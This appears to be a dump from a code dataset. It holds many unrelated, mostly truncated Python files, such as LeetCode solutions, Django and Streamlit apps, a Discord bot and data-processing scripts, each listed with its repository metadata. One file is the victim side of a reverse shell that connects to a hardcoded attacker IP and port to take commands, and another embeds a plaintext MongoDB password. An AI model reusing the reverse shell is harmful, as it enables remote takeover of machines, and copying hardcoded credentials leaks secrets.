seq_id
stringlengths
4
11
text
stringlengths
113
2.92M
repo_name
stringlengths
4
125
sub_path
stringlengths
3
214
file_name
stringlengths
3
160
file_ext
stringclasses
18 values
file_size_in_byte
int64
113
2.92M
program_lang
stringclasses
1 value
lang
stringclasses
93 values
doc_type
stringclasses
1 value
stars
int64
0
179k
dataset
stringclasses
3 values
pt
stringclasses
78 values
24846411098
from typing import Optional from dataclasses import dataclass import numpy as np from commonroad_geometric.rendering.base_renderer_plugin import BaseRendererPlugin from commonroad_geometric.rendering.types import RenderParams from commonroad_geometric.rendering.viewer.viewer_2d import Viewer2D @dataclass class Rende...
CommonRoad/crgeo
commonroad_geometric/rendering/plugins/render_drivable_area_plugin.py
render_drivable_area_plugin.py
py
1,172
python
en
code
25
github-code
13
4568744558
class Solution: def myAtoi(self, str): """ :type str: str :rtype: int """ import re res = '' tmp = re.findall('^[-+]?[\d]+', str.strip()) # 正则判断,非法字符串会返回空,返回的必是带有一个+/-或无符号的数字串 if tmp: ms = tmp[0] if ms[0] == "-" or ms[0] == "+"...
Weikoi/OJ_Python
leetcode/medium/8_字符串转换成整数.py
8_字符串转换成整数.py
py
1,417
python
en
code
0
github-code
13
71594426898
from backend.resources.database import DBClient import hashlib, os def signup_account(**kwargs): dbclient = DBClient() collection = dbclient.db.accounts try: trytofind = dbclient.get_array(collection, {"username": kwargs['username']}) trytofind['username'] return False, "This usernam...
Try2Win4Glory/Lacan-NTSport-Website
backend/signup/signup.py
signup.py
py
1,185
python
en
code
1
github-code
13
3720568810
import sys INT_MIN = -sys.maxsize n = int(input()) s = list(map(int,input().split())) dp = [INT_MIN for _ in range(n+1)] a = s[:] a.insert(0,0) dp[0] = 0 for i in range(1,n+1): for j in range(i): if a[j] < a[i]: dp[i] = max(dp[i],dp[j]+1) print(max(dp))
JaeEon-Ryu/Coding_test
LeeBrosCode/DP/5_조건에 맞게 선택적으로 전진하는 DP/1) 최대 증가 부분 수열.py
1) 최대 증가 부분 수열.py
py
282
python
en
code
1
github-code
13
27236290487
from graph.core import * import xml.etree.ElementTree as ET from lxml import etree v4_namespace_uri = "https://poets-project.org/schemas/virtual-graph-schema-v4" from graph.load_xml_v3 import XMLSyntaxError, get_attrib, \ get_attrib_defaulted, get_attrib_optional, get_attrib_optional_bool, \ get_child_text ...
joshjennings98/fyp
graph_schema-4.2.0/apps/clocked_izhikevich/graph/load_xml_v4.py
load_xml_v4.py
py
12,485
python
en
code
0
github-code
13
34294237065
from infoReadin import * from configReadin import * import joblib import os config = get_config() conf_dir = config["config_dir"] baoy_files = {"化学":read_lesson_dem(conf_dir+"保研化学.txt"), "应用化学":read_lesson_dem(conf_dir+"保研应化.txt"), "应用化学(化学生物学)":read_lesson_dem(conf_dir+"保研化生.txt")} data_pa...
Jingdan-Chen/WGA
task.py
task.py
py
4,519
python
en
code
0
github-code
13
15937278946
# Python program to read # file word by word # opening the text file attributes = [] with open('dump.txt','r') as file: # reading each line for line in file: # reading each word for word in line.split(","): # displaying the words attributes.append(word) with open('winrar_data.txt',...
Abhishek-yd/Malware-Dectection-Software-Powered-by-Machine-Learning
attributes.py
attributes.py
py
391
python
en
code
1
github-code
13
16605770841
#!/usr/bin/env python import requests import json import sys import datetime from .gnip_historical_job import * class DataSetResults(object): def __init__(self, resDict): #print(resDict.keys()) if "urlList" in resDict: self.dataURLs = resDict["urlList"] elif "url_list" in resDic...
DrSkippy/Gnip-Python-Historical-Utilities
src/gnip_historical/gnip_historical.py
gnip_historical.py
py
16,573
python
en
code
17
github-code
13
41229350274
from cmath import exp from unittest import result def check_is_palindrome(idx1: int, idx2: int, s: str) -> bool: # works only if idx1 <= idx2 piv = (idx1 + idx2) // 2 if idx1 == idx2: return True elif (idx2 - idx1 + 1) % 2 == 0: return s[idx1 : piv + 1] == s[piv + 1 : idx2 + 1][::-1] ...
devpotatopotato/devpotatopotato-LeetCode-Solutions
Python_Algorithm_Interview/Ch6/6.py
6.py
py
1,041
python
en
code
0
github-code
13
19968351735
from __future__ import annotations import asyncio import logging import time from typing import Iterable, Optional from qtoggleserver import persist, system from qtoggleserver.conf import settings from qtoggleserver.core import events as core_events from qtoggleserver.core import ports as core_ports from qtoggleserv...
qtoggle/qtoggleserver
qtoggleserver/core/history.py
history.py
py
9,068
python
en
code
16
github-code
13
40170789643
#! /usr/bin/python # libraries import tweepy import sys # twiiter application details cKey = 'XXXXXXXXXXXXXXXXXXXXXXXXXX' cSecret = 'XXXXXXXXXXXXXXXXXXXXXXXXXX' aToken = 'XXXXXXXXXXXXXXXXXXXXXXXXXX' aTokenSecret = 'XXXXXXXXXXXXXXXXXXXXXXXXXX' # authentication auth = tweepy.OAuthHandler(cKey, cSecret) auth.set_access_...
IamLizu/twair
main.py
main.py
py
4,819
python
en
code
0
github-code
13
31336251190
import argparse import protocol import sys from config import setup from logger import init_logger, get_logger from serial import Serial logger = get_logger(__name__) def parse_cmdline(argv): parser = argparse.ArgumentParser() parser.add_argument("-c", "--config", required=True, help="Path to config") par...
bcskda/EvaCockpit
handler/main.py
main.py
py
1,697
python
en
code
0
github-code
13
29942909305
#! /usr/local/bin/python3.8 #_*_ coding: utf-8 _*_ #_*_ coding: gbk _*_ #Author: Collin Liew import requests import json URL = "http://127.0.0.1:8008/api-token-auth/" paras = { "username":"admin", "password":"admin", } def getcode(link,para): req = requests.post(link,para) respo...
Blossom193/DemoforETP
DemoforETPAPI.py
DemoforETPAPI.py
py
1,211
python
en
code
0
github-code
13
39671463668
''' 用法同batch-images.py,只是把next_batch拿出来,解决最后threads不join的问题 ''' import tensorflow as tf import matplotlib.pyplot as plt import sys import data_loader image_list, label_list = data_loader.get_files('dataset/train/') tf.flags.DEFINE_integer("image_h", 208, "image height") tf.flags.DEFINE_integer("image_w", 208, "i...
changjiale3/machine-learning-codes
tensorflow/batch-images/batch-images2.py
batch-images2.py
py
2,492
python
en
code
0
github-code
13
14092740561
import discord from discord.ext import commands class Ban(commands.Cog): config = { "name": "ban", "desc": "ban member", "use": "ban @mention <reason>", "author": "Anh Duc(aki team)" } def __init__(self, bot): self.bot = bot @commands.hybrid_command() @com...
iotran207/Aki-bot
command/ban.py
ban.py
py
707
python
en
code
4
github-code
13
14187571320
#!/usr/bin/env python # coding: utf-8 # In[1]: import pandas as pd from pulp import * import streamlit as st import altair as alt st.title('Raw Material Optimization') st.markdown('The concept was to use LP to find an optimal mix of raw igt to produce the chepest meal bar while meeting some contraint nutrion requr...
devd1808/devd1808
New.py
New.py
py
3,332
python
en
code
0
github-code
13
43262796692
from bisect import bisect_left from collections import defaultdict def main(): wall_x = defaultdict(lambda: [-1, W]) wall_y = defaultdict(lambda: [-1, H]) for xi, yi in XY: wall_x[xi-1].append(yi-1) wall_y[yi-1].append(xi-1) for xi in wall_x: wall_x[xi] = sorted(wall_x[xi]) ...
Shirohi-git/AtCoder
abc271-/abc273_d.py
abc273_d.py
py
1,059
python
en
code
2
github-code
13
74080582096
import os def color_table(): print("\033[0;37;40m Normal text\n") print("\033[2;37;40m Underlined text\033[0;37;40m \n") print("\033[1;37;40m Bright Colour\033[0;37;40m \n") print("\033[3;37;40m Negative Colour\033[0;37;40m \n") print("\033[5;37;40m Negative Colour\033[0;37;40m\n") print("\033...
JamesPerisher/better-cmd
base.py
base.py
py
3,929
python
en
code
0
github-code
13
7847999714
# -*- coding: utf-8 -*- from __future__ import unicode_literals from pathlib_mate import Path from .paths import DIR_AWS_TOOL_USER_DATA from diskcache import Cache PATH_CACHE_DIR = Path(DIR_AWS_TOOL_USER_DATA, ".cache") class CustomCache(Cache): def fast_get(self, key, callable, kwargs=None, expire=None): ...
MacHu-GWU/afwf_aws_tools-project
aws_tools/cache.py
cache.py
py
796
python
en
code
4
github-code
13
32930025079
import jwt import xlsxwriter from flask import request, render_template from models import User from settings import app, celery def token_required(f): def decorated(*args, **kwargs): token = request.cookies.get('jwt') if token: data = jwt.decode(token, app.config['SECRET_KEY'], algor...
TBEhsanDev/scraping-divar-apartments-sell
utils.py
utils.py
py
1,467
python
en
code
0
github-code
13
3864252475
""" pin_assignments.py Assign pins and pin properties This file can ultimately be replaced with an external YAML file See first occurrence of each type for setup details Setup for Tester Baseboard revB """ PIN_ASSIGNMENTS = { # 1st tca9539 IO port expander - 16 digital inputs 'din0': { ...
synthetos/TestCode
code/pin_assignments.py
pin_assignments.py
py
19,571
python
en
code
0
github-code
13
24534341590
from ds_templates import test_series from test_cases import cases """ First check if the list is UNrotated (nums[0] < nums[-1] or len(nums) == 1). Otherwise use a binary search to search for the condition where nums[i] < nums[i-1]. This signifies the loop in the list, and the value nums[i] should be returned. You sh...
Hintzy/leetcode
Medium/153_find_min_in_rotated_sorted_array/find_min_rs_array.py
find_min_rs_array.py
py
1,063
python
en
code
0
github-code
13
7988366604
""" URL configuration for app project. The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/4.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') C...
AditySuraj77/Django_Concept
app/app/urls.py
urls.py
py
1,493
python
en
code
0
github-code
13
38587033317
from django.shortcuts import render from django.db import connection from django.http import Http404 from frankie_web_platform import settings from webshop.models import * from django.test.client import RequestFactory from django.http import JsonResponse def get_selected_parameters_values(request) -> {int: [int]}: ...
StepanPilchyck/FrankieWebPlatform
webshop/views.py
views.py
py
27,826
python
en
code
0
github-code
13
36078288209
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('commerce', '0007_auto_20151130_1638'), ] operations = [ migrations.CreateModel( name='EmployeeSkill', ...
oreon/gencomm
commerce/migrations/0008_auto_20151211_1913.py
0008_auto_20151211_1913.py
py
1,108
python
en
code
1
github-code
13
1976490981
import pandas as pd import numpy as np from sklearn.metrics import mean_squared_error from functions.ols import OLS def ARMA(df,p,q): """ Perform an AutoRegressive Moving Average (ARMA) analysis on a time series DataFrame. Args: df (pandas.DataFrame): A DataFrame containing a time series wi...
CyberStefNef/World_Temperature_Analysis
functions/arma.py
arma.py
py
5,195
python
en
code
0
github-code
13
42545564770
from django.shortcuts import render, redirect from django.contrib import messages from .models import Blog # Create your views here. def index(request): context = { 'bloggers': Blog.objects.all() } return render(request, 'index.html', context) # def update(request, id): # # pass the post data...
KeithBrantley/Coding_Dojo
python_stack/django/django_full_stack/blog/main/views.py
views.py
py
1,474
python
en
code
1
github-code
13
11569671201
class Allergies: def __init__(self, score): self._items = { 1: 'eggs', 2: 'peanuts', 4: 'shellfish', 8: 'strawberries', 16: 'tomatoes', 32: 'chocolate', 64: 'pollen', 128: 'cats', } self._score...
ikostan/Exercism_Python_Track
allergies/allergies.py
allergies.py
py
742
python
en
code
0
github-code
13
26864521725
import os import sys file_dir_path = os.path.dirname(os.path.realpath(__file__)) # add code directory to path sys.path.append(file_dir_path + '/../../') from sensor.optimization_angles_general import brute_optimize, plot_print_length, save_distances, \ save_3d_distances description = "270_blk_dot_mid_floor" pa...
sensorPointCloud/pointCloudFromImage
results/fine_step_z_270_deg_partial/generate_point_cloud.py
generate_point_cloud.py
py
3,820
python
en
code
1
github-code
13
28880491199
from django.http import JsonResponse from django.shortcuts import render, redirect, get_object_or_404 from django.urls import reverse from django.views.decorators.http import require_POST from .models import Product from accounts.models import Account def products_list(request): queryset = Product.objects.all() ...
w00ing/piro13_inventory_management
inventory_management/products/views.py
views.py
py
3,077
python
en
code
0
github-code
13
43347738913
#!/usr/bin/env python from __future__ import print_function # png.py - PNG encoder/decoder in pure Python # # Copyright (C) 2006 Johann C. Rocholl <johann@browsershots.org> # Portions Copyright (C) 2009 David Jones <drj@pobox.com> # And probably portions Copyright (C) 2006 Nicko van Someren <nicko@nicko.org> # # Orig...
pret/pokered
tools/pokemontools/png.py
png.py
py
100,616
python
en
code
3,597
github-code
13
18664987365
from fastapi import Depends, HTTPException, status, APIRouter, Request, Response from database import engineconn from db_class import MOVIE, TV, BOOK, WEBTOON from sqlalchemy.orm import Session import json router = APIRouter() with open('contents_idx.json', 'r', encoding='UTF-8') as f: contents_idx = json.load(f)...
jjklle/SWE3028
routers/content.py
content.py
py
2,220
python
en
code
0
github-code
13
31986281811
from PIL import Image ''' 改变图片尺寸方法1,这个方法会直接将图片的尺寸输出为400*400,改变图片的纵横比 ''' image = Image.open('001.jpg') print(image.size) #输出图片大小 new_image = image.resize((400, 400)) new_image.save('001_400.jpg') # 改变图片尺寸为400*400 ''' 改变图片尺寸方法2,这个方法会保持图片的纵横比,比较好看 ''' image = Image.open('001.jpg') print(image.size) #输出图片大小 new_ima...
00xyz00/study_pillow
test1.py
test1.py
py
816
python
en
code
0
github-code
13
37798051021
# import math # import numpy as np # (x^y)%p in O(log y) def power(x, y, p) : res = 1 # Initialize result # Update x if it is more # than or equal to p x = x % p if (x == 0) : return 0 while (y > 0) : # If y is odd, multiply # x with result if ((y & 1) =...
jpitoskas/IEEEXtreme15.0
summation.py
summation.py
py
977
python
en
code
0
github-code
13
6999415003
import logging import airflow from airflow import DAG from airflow.operators.python import PythonOperator from airflow.sensors.external_task import ExternalTaskSensor from datetime import datetime, timedelta logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) args = { "owner": "airflow", ...
itnoobzzy/EasyAirflow
dags/second.py
second.py
py
854
python
en
code
0
github-code
13
43928603974
from PIL import Image, ImageFilter, ImageFont, ImageDraw import random import string # 随机数字 def rndchar(): # print(chr(65)) return chr(random.randint(65, 90)) # 随机数字+字母 def getrandl(num, many): # num 位数 many个数 for x in range(many): s = '' for i in range(num): n = random.ra...
shenshuke/VerificationCode
tyjx/126.py
126.py
py
1,562
python
en
code
0
github-code
13
47044578924
import random student_name = "Jingjing Bai" # 1. Q-Learning class QLearningAgent: """Implement Q Reinforcement Learning Agent using Q-table.""" def __init__(self, game, discount, learning_rate, explore_prob): """Store any needed parameters into the agent object. Initialize Q-table. "...
jingjingb/cis521-hw7
agents.py
agents.py
py
5,086
python
en
code
0
github-code
13
7236899154
import pygame from random import randint pygame.init() score = 0 screen_widhte = 1024 screen_lengte = 768 display_output = (screen_widhte, screen_lengte) screen = pygame.display.set_mode(display_output) pygame.display.set_caption('Basketball!') Background = pygame.image.load("Basketball court.jpg.") tick = pygame.mi...
Yash-1047990/pythonProject3
game.py
game.py
py
3,998
python
en
code
0
github-code
13
72915472018
import json import pytest_bdd as bdd bdd.scenarios('private.feature') @bdd.then(bdd.parsers.parse('the cookie {name} should be set to {value}')) def check_cookie(quteproc, name, value): """Check if a given cookie is set correctly. This assumes we're on the server cookies page. """ content = quteproc...
qutebrowser/qutebrowser
tests/end2end/features/test_private_bdd.py
test_private_bdd.py
py
886
python
en
code
9,084
github-code
13
17329364699
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Experiment with a gaussian naive bayes model with a variety of balancing techniques on the cleaned data set """ __author__ = "John Hoff" __email__ = "john.hoff@braindonor.net" __copyright__ = "Copyright 2019, John Hoff" __license__ = "Creative Commons Attribution-...
theBraindonor/chicago-crime-arrests
model/experiment/gaussian_naive_bayes_model.py
gaussian_naive_bayes_model.py
py
2,440
python
en
code
1
github-code
13
26053403339
num=int(input("Enter number: ")) if num<0: print("Sorry! Enter a positive number. Please try again... ") else: sum=0 while(num>0): sum+=num num-=1 print("Sum =", sum)
RheaDso/Python
SumOf15nos.py
SumOf15nos.py
py
212
python
en
code
0
github-code
13
20307800056
# 크롤링소스 from crawling import * # 이메일발송소스 from send_email import * # 메일내용 템플릿 소스 from template_email import * import json import datetime def handler(event=None, context=None): # 1. 크롤링 정보를 가져오고 data = crawling() # 2. 현재날짜를 만들고 # hours=9는 추후에 Lambda에 올라갈 예정으로 Lambda 시스템은 기본 UTC를 사용합니다. # 따라서 한국시간...
sjworldacademy/easyaws
python-crawling/app.py
app.py
py
1,172
python
ko
code
0
github-code
13
44266284952
W = float(input("가로: ")) D = float(input("세로: ")) H = float(input("높이: ")) V = W * D * H if (V < 0): print("Error has occurred. Close the program.") elif (V > 120): print("It's too heavy.") else: print("total lenght: %f" %V) print("Do you want to calculate the bill? Enter Y/N") answer = str(inp...
hymnstar/cau_oss_python_03
volume_calc.py
volume_calc.py
py
571
python
en
code
0
github-code
13
6949031404
# Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None from typing import * from collections import deque class Solution: def addOneRow(self, root: TreeNode, v: int, d: int) -> TreeNode: if d==1: new...
Xiaoctw/LeetCode1_python
树/在二叉树中增加一行_623.py
在二叉树中增加一行_623.py
py
1,289
python
en
code
0
github-code
13
70757049939
''' Напишите функцию группового переименования файлов. Она должна: принимать параметр желаемое конечное имя файлов. При переименовании в конце имени добавляется порядковый номер. принимать параметр количество цифр в порядковом номере. принимать параметр расширение исходного файла. Переименование должно работать тольк...
leonid-korolev/Immersion_in_Python_homeworks
homeworks/homework_7/renaming_files.py
renaming_files.py
py
3,383
python
ru
code
0
github-code
13
8815555050
# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def preorderTraversal(self, root): """ :type root: TreeNode :rtype: List[int] """ ...
rando3/leetcode-python
Stacks and Queues/preorderTraversal.py
preorderTraversal.py
py
639
python
en
code
0
github-code
13
27061728320
import logging import numpy as np import pandas as pd import streamlit as st from bertopic import BERTopic from bertopic.backend._utils import select_backend from sentence_transformers import SentenceTransformer from topics.np import load_numpy logging.getLogger(__name__).addHandler(logging.NullHandler()) def _fil...
MarkusSagen/paai_skr_demo
web/initialize.py
initialize.py
py
3,614
python
en
code
0
github-code
13
24889833165
import os, socket, sys, subprocess from threading import Thread from colorama import Fore # Server details SERVER_HOST = "192.168.1.68" SERVER_PORT = 4000 seperator_token = "<SEP>" GREEN = Fore.GREEN YELLOW = Fore.YELLOW RED = Fore.RED RESET = Fore.RESET s = socket.socket() s.connect((SERVER_HOST, SERVER_PORT)) cwd...
rip4ldi/hacker-tools
reverse_shell/victim_side.py
victim_side.py
py
1,116
python
en
code
0
github-code
13
35981698272
# -*- coding: UTF-8 -*- # author:@Jack.Wang from threading import * from queue import Queue, Empty class EventManager: def __init__(self): self.__eventQueue = Queue() self.__active = False self.__thread = Thread(target=self.__Run) # 这里的__handlers是一个字典,用来保存对应的事件的响应函数 # 其中每个...
wangyundlut/Futures_Quant
EventEngine/EventEngine.py
EventEngine.py
py
2,005
python
en
code
1
github-code
13
42045622698
import sys import itertools sys.setrecursionlimit(10 ** 8) ini = lambda: int(sys.stdin.readline()) inl = lambda: [int(x) for x in sys.stdin.readline().split()] ins = lambda: sys.stdin.readline().rstrip() debug = lambda *a, **kw: print("\033[33m", *a, "\033[0m", **dict(file=sys.stderr, **kw)) def solve(): v = inl...
keijak/comp-pub
atcoder/abc028/C/main.py
main.py
py
516
python
en
code
0
github-code
13
3082393025
import pytest from django.core.exceptions import ValidationError from dataservices import models from dataservices.tests.factories import ( CIAFactBookFactory, ConsumerPriceIndexFactory, CountryFactory, EaseOfDoingBusiness, GDPPerCapitaFactory, IncomeFactory, InternetUsageFactory, Metad...
uktrade/directory-api
dataservices/tests/test_models.py
test_models.py
py
2,060
python
en
code
3
github-code
13
12405806694
from django.shortcuts import render,redirect from django.http import Http404 from django.core.exceptions import ObjectDoesNotExist from django.contrib.auth.decorators import login_required from .models import Profile,Project,Rating from .forms import UploadProjectForm,AddProfileForm,AddRatingForm from .filters import P...
Dachoka3000/colone
work/views.py
views.py
py
6,288
python
en
code
0
github-code
13
2426926203
#Imports random, pickle, pygame and time modules import random, pickle, pygame, time #Imports locals for use in adding input from pygame.locals import * #Initialize pygame pygame.init() #Initialises pygame music mixer pygame.mixer.init() #Loads music file pygame.mixer.music.load('floyd.ogg') #Plays song i...
SadRavioli/Portfolio
Python/Python Project 1st Year/IQ Test.py
IQ Test.py
py
22,848
python
en
code
0
github-code
13
33141206324
"""Trello lists services.""" # Python Libraries import requests # Services from spacex_api.utils.services.trello.base import get_needed_data, perform_request def get_lists(user=None, board_id=None): """Get boards --- Make a list with all the trello boards. """ url = f"https://api.trello.com/1/boa...
SantiR38/trello-api
spacex_api/utils/services/trello/lists.py
lists.py
py
576
python
en
code
0
github-code
13
27918555273
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import os if __name__ == "__main__": num = 10 if (len(sys.argv) > 1): num = int(sys.argv[1]) print(num) for i in range(1, num): os.system("./chatClient/chatClient/client.o " + str(i) + "熊")
leonlyo/ManyPeopleChat
createClient.py
createClient.py
py
264
python
en
code
0
github-code
13
5034773602
from pymongo import MongoClient import certifi from uuid import uuid4 def get_connection(): ca = certifi.where() # password : ias-iot-avishkar-23 client = MongoClient("mongodb+srv://hkashyap0809:ias-iot-avishkar-23@sensor-cluster.jzrhdzp.mongodb.net/?retryWrites=true&w=majority",tlsCAFile=ca) return c...
hkashyap0809/IAS-IOT-AVISHKAR-23
SensorManagerOld/create-mongo-schema.py
create-mongo-schema.py
py
2,121
python
en
code
0
github-code
13
17938668726
import asyncio import logging from io import BytesIO import discord from redbot.core import commands from redbot.core.i18n import Translator, cog_i18n from redbot.core.utils.chat_formatting import box, escape, pagify from ..abc import MixinMeta from ..common.calls import request_model from ..common.constants import R...
vertyco/vrt-cogs
assistant/commands/base.py
base.py
py
11,142
python
en
code
33
github-code
13
34785484858
from rct229.rulesets.ashrae9012019.data.schema_enums import schema_enums from rct229.utils.jsonpath_utils import find_one from rct229.utils.utility_functions import find_exactly_one_hvac_system HEATING_SYSTEM = schema_enums["HeatingSystemOptions"] def is_hvac_sys_preheating_type_fluid_loop(rmi_b, hvac_b_id): """...
pnnl/ruleset-checking-tool
rct229/rulesets/ashrae9012019/ruleset_functions/baseline_systems/baseline_hvac_sub_functions/is_hvac_sys_preheating_type_fluid_loop.py
is_hvac_sys_preheating_type_fluid_loop.py
py
1,297
python
en
code
6
github-code
13
18954514941
import requests import time def download_link(url:str) -> None: result = requests.get(url).content print(f'Read {len(result)} from {url}') def download_all(urls:list) -> None: for url in urls: download_link(url) url_list = ["https://www.google.com/","https://www.bing.com"]*50 start = time....
omid29sarei/python_request_performance_test
send_http_reqs_sync.py
send_http_reqs_sync.py
py
433
python
en
code
0
github-code
13
33527904676
import xml.etree.ElementTree as ET import pickle import os from os import listdir, getcwd from os.path import join def convert(size, box): x_center = (box[0] + box[1]) / 2.0 y_center = (box[2] + box[3]) / 2.0 x = x_center / size[0] y = y_center / size[1] w = (box[1] - box[0]) / size[0] h = (bo...
xzyxiaohaha/PythonUtil
pythonUtil/数据集操作工具类/voc_to_yolo.py
voc_to_yolo.py
py
4,741
python
en
code
0
github-code
13
43082351496
import streamlit as st import pandas as pd import numpy as np from sklearn.svm import SVC from sklearn.linear_model import LogisticRegression from sklearn.ensemble import RandomForestClassifier from sklearn.neighbors import KNeighborsClassifier from sklearn.ensemble import GradientBoostingClassifier from sklearn.tree i...
mdsac1441/final_year_project
pages/LA/la_pages/MA/ma_pages/MT/mt.py
mt.py
py
13,883
python
en
code
0
github-code
13
70336392018
import numpy as np from analyzer.record_type import RecordType from analyzer.git_dao import * # To speed up features obtaining better to keep them in numpy arrays. # In this case we have to know size or record and position of features in vector before start to parse them. class Features(object): """ Base cl...
AlexanderMakarov/GitHubParser
analyzer/records_producer.py
records_producer.py
py
5,828
python
en
code
0
github-code
13
21675820972
""" 단순한 구현문제이다. 방향 전환과 전진을 하면서 각 좌표의 최대 최소를 구해 가로 길이와 세로 길이를 구해 넓이를 계산한다. 문제를 제대로 읽지 않아 계속적인 실수가 발생했다. 문제를 좀 더 꼼꼼히 읽는 습관을 들이자. """ import sys input = sys.stdin.readline dx = [-1, 0, 1, 0] dy = [0, 1, 0, -1] for i in range(int(input())): storeX, storeY = [0], [0] d, cx, cy = 0, 0, 0 for cmd in list(input()....
SangHyunGil/Algorithm
Baekjoon/baekjoon_8911(simulation).py
baekjoon_8911(simulation).py
py
911
python
ko
code
0
github-code
13
42970382934
import bpy import json import re import requests class ExperimentalUpdateCheck: """Get release information over an API and convert it into data that can be used by Super Addon Manager.""" def __init__(self, bl_info: dict) -> None: api, user_name, repo_name = self.get_user_and_repo(bl_info) ...
PidgeonTools/SuperAddonManager
objects/experimental_update_check.py
experimental_update_check.py
py
7,646
python
en
code
2
github-code
13
5308155516
class Solution(object): def lengthOfLongestSubstring(self, s): """ :type s: str :rtype: int """ length = len(s) ans = 0 i = 0 map_char = {} for j in range(length): if s[j] in map_char: i = max(map_char[s[j]], i) ...
Nrgeup/Algorithm-practice
leetcode/3.py
3.py
py
413
python
en
code
0
github-code
13
7830627880
from django.db.models import Exists, OuterRef, Prefetch from rest_framework import viewsets from cl.api.pagination import TinyAdjustablePagination from cl.api.utils import LoggingMixin, RECAPUsersReadOnly from cl.disclosures.models import FinancialDisclosure from cl.people_db.api_serializers import ( ABARatingSeri...
freelawproject/courtlistener
cl/people_db/api_views.py
api_views.py
py
6,404
python
en
code
435
github-code
13
22236145386
from pathlib import Path import collections import colorlog import copy import logging import sys import numpy as np LOG_FORMAT_STR = '%(asctime)s.%(msecs)03d %(levelname)-8s [%(filename)s:%(lineno) 5d] %(message)s' LOG_DATE_FORMAT = '%Y-%m-%d %H:%M:%S' LOG_COLORS = { 'DEBUG': 'green', 'INFO': 'cyan', '...
int-brain-lab/iblutil
iblutil/util.py
util.py
py
7,115
python
en
code
0
github-code
13
6590126316
# nongenlog.py # # 计算在Apache日志文件中传输的总字节数 # 使用简单的for-loop计算Apache服务器日志中传输的字节数。不使用生成器。 import time # 计时 time_start = time.clock() wwwlog = open("big-access-log") total = 0 for line in wwwlog: ''' 语法 str.split(str="", num=string.count(str)). 参数 str -- 分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。 ...
lazzman/PythonLearn
Python3_Learn/生成器与协程专题[www.dabeaz.com]/生成器/generators_py3/2 Processing Data Files/nongenlog.py
nongenlog.py
py
901
python
zh
code
4
github-code
13
3836827733
def show_magicians(magicians): """Prints a list of magician's names.""" for magician in magicians: print(magician) def make_great(magicians): """Adds "the Great" to the end of each magician's name.""" great_magicians = [] while magicians: magician = magicians.pop() ...
jodr5786/Python-Crash-Course
Chapter 8/8-10_Great_Magicians.py
8-10_Great_Magicians.py
py
677
python
en
code
0
github-code
13
41513320121
#!/usr/bin/env python3 from pathlib import Path import pathlib import tempfile def print_mult(x, MAX): cont = 0 arr = set() for i in range(2, x+1): if(x % i == 0): cont += 1 arr.add(i) if(cont > MAX): break print(arr) return def partit...
mich2k/Text-Splitter
textsplitter.py
textsplitter.py
py
2,821
python
en
code
1
github-code
13
38167656932
#!/usr/bin/python # -*- coding:utf-8 -*- #冒泡排序法 import numpy as np def bubble_sort(list): count = len(list) for i in range(0, count): for j in range(i+1, count): if list[i] > list[j]: list[i], list[j] = list[j], list[i] return list test = np.array([2, 1, 6, 3, 9, 6, 0]...
Funail/webdriver
python_study/bubble_sort.py
bubble_sort.py
py
357
python
en
code
0
github-code
13
5497055572
from athena_helper import AthenaQuery import boto3 import logging # We can only really do an integration test of this LOGGER = logging.getLogger() def set_up_logging(): global LOGGER output_handler = logging.StreamHandler() output_handler.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asc...
MauriceBrg/aws-blog.de-projects
sls-athena/test_athena_helper.py
test_athena_helper.py
py
1,734
python
en
code
50
github-code
13
4321487831
from financepy.utils.global_types import FinExerciseTypes from financepy.utils.helpers import print_tree from financepy.models.bdt_tree import BDTTree from financepy.market.curves.discount_curve_zeros import DiscountCurveZeros from financepy.utils.global_vars import gDaysInYear from financepy.utils.day_count import Day...
domokane/FinancePy
tests/test_FinModelRatesBDT.py
test_FinModelRatesBDT.py
py
6,568
python
en
code
1,701
github-code
13
42185177402
def calc_percentage(lst): sum = 0.0 per = 0.0 for x in lst: sum += float(x) #sum=sum+x per = sum/len(lst) return per def sort_list(lst): n = len(lst) for i in range(n-1,-1,-1): for j in range(0,i): if(lst[j][2]>lst[j+1][2]): lst[j],lst[j+1] = lst[...
pythonchamps/pythonpractice
PercentageSeperate.py
PercentageSeperate.py
py
1,465
python
en
code
0
github-code
13
263706306
import mnist_utils as utils import tensorflow as tf import matplotlib.pyplot as plt def create_generator(latent_dim): model = tf.keras.models.Sequential() model.add(tf.keras.layers.InputLayer(input_shape=(latent_dim,))) model.add(tf.keras.layers.Dense(7 * 7 * 64, activation="relu")) model.add(tf.keras...
zoomself/mnist
mnist_gan.py
mnist_gan.py
py
7,315
python
en
code
0
github-code
13
13612680660
class Solution(object): def containsNearbyDuplicate(self, nums, k): if len(nums) == 0: return False e = 0 dup = {} while e < len(nums) and e < k: if nums[e] in dup: return True dup.add(nums[e]) e += 1 s = 0 ...
clovery410/mycode
leetcode/219contains_duplicate2.py
219contains_duplicate2.py
py
525
python
en
code
1
github-code
13
33044274862
import urllib.request,urllib.error,urllib.parse from bs4 import BeautifulSoup url="https://www.youtube.com/" info=urllib.request.urlopen(url) # notice no encoding data=info.read() # the data received is read in UTF-8 only, it's not decoded x=BeautifulSoup(data,"html.parser") # extracts the page in html format...
ishan-21/Using-Python-to-Access-Web-Data
source_codes/web_crawler.py
web_crawler.py
py
837
python
en
code
0
github-code
13
71990901137
from django import forms from user.models import User, FileUpload class UserForm(forms.ModelForm): dob = forms.DateField(widget=forms.DateInput(format='%d/%m/%Y'), input_formats=('%d/%m/%Y',)) class Meta: model = User fields = ('name', 'fathers_name', 'dob', 'pan_im...
KRT12/ocr_reader
user/forms.py
forms.py
py
548
python
en
code
0
github-code
13
30290815166
""" Connection ========== Class that is used to manage connection and communication state. """ import collections import logging import os import pika from pika import spec from rejected import errors, log, state, utils LOGGER = logging.getLogger(__name__) Published = collections.namedtuple( 'Published', ['del...
code-fabriek/rejected
rejected/connection.py
connection.py
py
14,925
python
en
code
null
